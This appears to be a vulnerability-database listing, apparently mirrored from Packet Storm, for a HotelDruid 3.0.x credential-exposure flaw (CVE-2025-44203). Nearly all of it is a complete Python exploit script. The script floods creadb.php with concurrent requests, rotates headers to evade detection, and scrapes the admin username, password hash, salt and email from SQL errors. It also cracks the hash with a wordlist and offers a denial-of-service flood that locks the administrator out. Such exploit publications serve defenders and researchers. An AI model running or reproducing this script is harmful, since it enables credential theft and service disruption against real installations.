Lucene search
K

๐Ÿ“„ HotelDruid 3.0.x Credential Exposure / Stress Tester

๐Ÿ—“๏ธย 16 Jun 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 41ย Views

HotelDruid 3.0.x exposes credentials via bulk requests to creadb.php causing race condition or database error disclosure.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Uncontrolled Resource Consumption in Digitaldruid Hoteldruid
18 Jun 202518:22
โ€“githubexploit
Information Security Automation
June Linux Patch Wednesday
1 Jul 202511:28
โ€“avleonov
Circl
CVE-2025-44203
18 Jun 202519:07
โ€“circl
CNNVD
Hoteldruid ๅฎ‰ๅ…จๆผๆดž
20 Jun 202500:00
โ€“cnnvd
CVE
CVE-2025-44203
20 Jun 202500:00
โ€“cve
Cvelist
CVE-2025-44203
20 Jun 202500:00
โ€“cvelist
Debian CVE
CVE-2025-44203
20 Jun 202500:00
โ€“debiancve
EUVD
EUVD-2025-18763
3 Oct 202520:07
โ€“euvd
NVD
CVE-2025-44203
20 Jun 202516:15
โ€“nvd
OSV
CVE-2025-44203
20 Jun 202516:15
โ€“osv
Rows per page
==================================================================================================================================
    | # Title     : HotelDruid 3.0.x Credential Exposure & Stress Testing                                                            |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.hoteldruid.com/                                                                                      |
    ==================================================================================================================================
    
    [+] Summary    :   a vulnerability in HotelDruid (versions 3.0.0โ€“3.0.7). 
                       It performs high-volume HTTP requests to a vulnerable endpoint (creadb.php) in order to trigger a potential race condition or SQL error-based information disclosure. 
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import sys
    import requests
    import threading
    import time
    import re
    import hashlib
    import argparse
    from concurrent.futures import ThreadPoolExecutor, as_completed
    from urllib.parse import urljoin
    
    USER_AGENTS = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
    ]
    REQUEST_DELAY = 0.02 
    THREADS = 50         
    DEFAULT_WORDLIST = "rockyou.txt"
    
    class HotelDruidExploit:
        def __init__(self, target_ip, port=80, path="/hoteldruid/"):
            self.base_url = f"http://{target_ip}:{port}{path}"
            self.creadb_url = urljoin(self.base_url, "creadb.php")
            self.extracted_data = {
                "username": None,
                "hash": None,
                "salt": None,
                "full_response": None
            }
            self.found_event = threading.Event()
            self.lock = threading.Lock()
            
        def _get_headers(self):
            """Generate randomized headers to avoid detection"""
            import random
            return {
                "User-Agent": random.choice(USER_AGENTS),
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate, br",
                "Content-Type": "application/x-www-form-urlencoded",
                "Origin": self.base_url.rstrip('/'),
                "Connection": "keep-alive",
                "Referer": urljoin(self.base_url, "inizio.php"),
                "Upgrade-Insecure-Requests": "1"
            }
        def _extract_sensitive_data(self, response_text):
            """Extract username, password hash, and salt from SQL error messages"""
            patterns = {
                "username": r"username[_\s]*=[_\s]*['\"]?([a-zA-Z0-9_]+)['\"]?",
                "hash": r"password[_\s]*=[_\s]*['\"]?([a-fA-F0-9]{32})['\"]?",
                "salt": r"salt[_\s]*=[_\s]*['\"]?([a-fA-F0-9]{20,40})['\"]?",
                "email": r"email[_\s]*=[_\s]*['\"]?([^'\"]+@[^'\"]+)['\"]?"
            }
            extracted = {}
            for key, pattern in patterns.items():
                match = re.search(pattern, response_text, re.IGNORECASE)
                if match:
                    extracted[key] = match.group(1)
    
            mysql_pattern = r"VALUES\s*\(\s*'([^']+)'[^,]+,\s*'([a-f0-9]{32})'[^,]+,\s*'([a-f0-9]{20,})'"
            match = re.search(mysql_pattern, response_text, re.IGNORECASE)
            if match and not extracted.get("username"):
                extracted["username"] = match.group(1)
                extracted["hash"] = match.group(2)
                extracted["salt"] = match.group(3)
            return extracted
        def send_request(self, request_id):
            """Send a single POST request to creadb.php"""
            if self.found_event.is_set():
                return None
            try:
                headers = self._get_headers()
                data = {"lingua": "en"}
                response = requests.post(
                    self.creadb_url, 
                    headers=headers, 
                    data=data,
                    timeout=10,
                    allow_redirects=False
                )
                if response.status_code == 200:
                    extracted = self._extract_sensitive_data(response.text)
                    
                    if extracted and (extracted.get("hash") or extracted.get("salt")):
                        with self.lock:
                            self.extracted_data.update(extracted)
                            self.extracted_data["full_response"] = response.text
                        print(f"\n[!] SUCCESS! Sensitive data extracted from request #{request_id}")
                        print(f"[+] Username: {extracted.get('username', 'N/A')}")
                        print(f"[+] Hash (MD5): {extracted.get('hash', 'N/A')}")
                        print(f"[+] Salt: {extracted.get('salt', 'N/A')}")
                        print(f"[+] Email: {extracted.get('email', 'N/A')}")
                        self.found_event.set()
                        return extracted
                if request_id % 50 == 0:
                    print(f"[*] Sent {request_id} requests...", end="\r")
            except requests.exceptions.ConnectionError:
                if request_id > 10:
                    print(f"\n[!] Connection failed - Possible DoS condition achieved!")
                    self.found_event.set()
            except Exception as e:
                pass
            return None
        def exploit(self, total_requests=500):
            """Main exploitation routine with multi-threading"""
            print(f"[*] Targeting: {self.creadb_url}")
            print(f"[*] Sending {total_requests} concurrent requests to trigger race condition...")
            print("[*] This may take a few minutes...\n")
            start_time = time.time()
            with ThreadPoolExecutor(max_workers=THREADS) as executor:
                futures = {
                    executor.submit(self.send_request, i): i 
                    for i in range(1, total_requests + 1)
                }
                for future in as_completed(futures):
                    if self.found_event.is_set():
                        for f in futures:
                            f.cancel()
                        break
                    time.sleep(REQUEST_DELAY)
            elapsed = time.time() - start_time
            if not self.found_event.is_set():
                print("\n[-] Exploit failed to extract data.")
                print("[!] Try increasing total_requests or reducing system resources on target.")
                return False
            print(f"\n[*] Exploitation completed in {elapsed:.2f} seconds")
            return True
        def calculate_custom_hash(self, password, salt):
            """Recreate the custom HotelDruid hashing algorithm"""
            hashed = hashlib.md5((password + salt).encode()).hexdigest()
            for num in range(1, 15):
                truncated_salt = salt[:(20 - num)]
                hashed = hashlib.md5((hashed + truncated_salt).encode()).hexdigest()
            return hashed
        def crack_password(self, wordlist_path, max_attempts=10000000):
            """Brute force the password using the extracted salt and hash"""
            if not self.extracted_data["hash"] or not self.extracted_data["salt"]:
                print("[-] Missing hash or salt. Cannot crack password.")
                return None
            print(f"\n[*] Starting password cracking...")
            print(f"[*] Target Hash: {self.extracted_data['hash']}")
            print(f"[*] Salt: {self.extracted_data['salt']}")
            print(f"[*] Wordlist: {wordlist_path}")
            try:
                with open(wordlist_path, 'r', encoding='latin-1', errors='ignore') as f:
                    for idx, line in enumerate(f):
                        password = line.strip()
                        
                        if idx % 10000 == 0 and idx > 0:
                            print(f"[*] Attempted {idx} passwords...", end="\r")
                        calculated_hash = self.calculate_custom_hash(password, self.extracted_data["salt"])
                        if calculated_hash == self.extracted_data["hash"]:
                            print(f"\n[+] PASSWORD FOUND: {password}")
                            return password
                        if idx >= max_attempts:
                            break
            except FileNotFoundError:
                print(f"[-] Wordlist not found: {wordlist_path}")
                return None
            print("\n[-] Password not found in wordlist.")
            return None
        def trigger_dos(self, intense=True):
            """Trigger DoS condition by overwhelming the database setup process"""
            print(f"\n[*] Triggering DoS condition...")
            if intense:
                total = 1000
                print(f"[*] Sending {total} rapid requests to corrupt database state...")
                
                def flood():
                    for i in range(total):
                        try:
                            requests.post(self.creadb_url, data={"lingua": "en"}, timeout=2)
                        except:
                            pass
                with ThreadPoolExecutor(max_workers=20) as executor:
                    futures = [executor.submit(flood) for _ in range(5)]
                    for f in as_completed(futures):
                        pass
            else:
                for i in range(300):
                    try:
                        requests.post(self.creadb_url, data={"lingua": "en"}, timeout=1)
                    except:
                        pass
                    time.sleep(0.02)
            print("[+] DoS attack completed. Administrator may not be able to login with original credentials.")
            return True
    def main():
        parser = argparse.ArgumentParser(description="HotelDruid 3.0.0/3.0.7 Exploit - CVE-2025-44203")
        parser.add_argument("target", help="Target IP address")
        parser.add_argument("-p", "--port", type=int, default=80, help="HTTP port (default: 80)")
        parser.add_argument("-r", "--requests", type=int, default=500, help="Number of requests (default: 500)")
        parser.add_argument("-w", "--wordlist", default=DEFAULT_WORDLIST, help="Wordlist for password cracking")
        parser.add_argument("--dos-only", action="store_true", help="Only perform DoS attack")
        parser.add_argument("--crack-only", action="store_true", help="Only crack password using existing extracted data")
        parser.add_argument("--hash", help="Hash value (for crack-only mode)")
        parser.add_argument("--salt", help="Salt value (for crack-only mode)")
        args = parser.parse_args()
        banner = """
        โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
        โ•‘  CVE-2025-44203 - HotelDruid 3.0.0/3.0.7                    โ•‘
        โ•‘  Advanced Exploit: Credential Disclosure + DoS              โ•‘
        โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
        """
        print(banner)
        if args.crack_only:
            if not args.hash or not args.salt:
                print("[-] Crack-only mode requires --hash and --salt")
                sys.exit(1)
            exploit = HotelDruidExploit(args.target)
            exploit.extracted_data["hash"] = args.hash
            exploit.extracted_data["salt"] = args.salt
            password = exploit.crack_password(args.wordlist)
            if password:
                print(f"\n[+] Plaintext password: {password}")
            sys.exit(0)
        if args.dos_only:
            exploit = HotelDruidExploit(args.target, args.port)
            exploit.trigger_dos(intense=True)
            sys.exit(0)
        exploit = HotelDruidExploit(args.target, args.port)
        if not exploit.exploit(total_requests=args.requests):
            print("\n[!] Exploit failed. Possible reasons:")
            print("    - Target is patched (version >= 3.0.8)")
            print("    - Target has sufficient resources (4+ cores / 4+ GB RAM)")
            print("    - 'Restrict to localhost' is set to Yes")
            print("    - Try increasing --requests parameter")
            sys.exit(1)
        if exploit.extracted_data["hash"] and exploit.extracted_data["salt"]:
            password = exploit.crack_password(args.wordlist)
            if password:
                print(f"\n[+] SUCCESSFUL EXPLOITATION COMPLETE!")
                print(f"[+] Username: {exploit.extracted_data['username']}")
                print(f"[+] Password: {password}")
                print(f"\n[*] Note: DoS condition has been triggered.")
                print("[*] The administrator cannot login with the original credentials.")
                print("[*] You cannot login either - this is a pure DoS + info disclosure.")
        else:
            print("\n[-] Could not extract complete hash/salt for password cracking.")
        choice = input("\n[?] Trigger additional DoS attack? (y/n): ").lower()
        if choice == 'y':
            exploit.trigger_dos(intense=True)
    if __name__ == "__main__":
        main()
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.17.5
EPSS0.00542
SSVC
41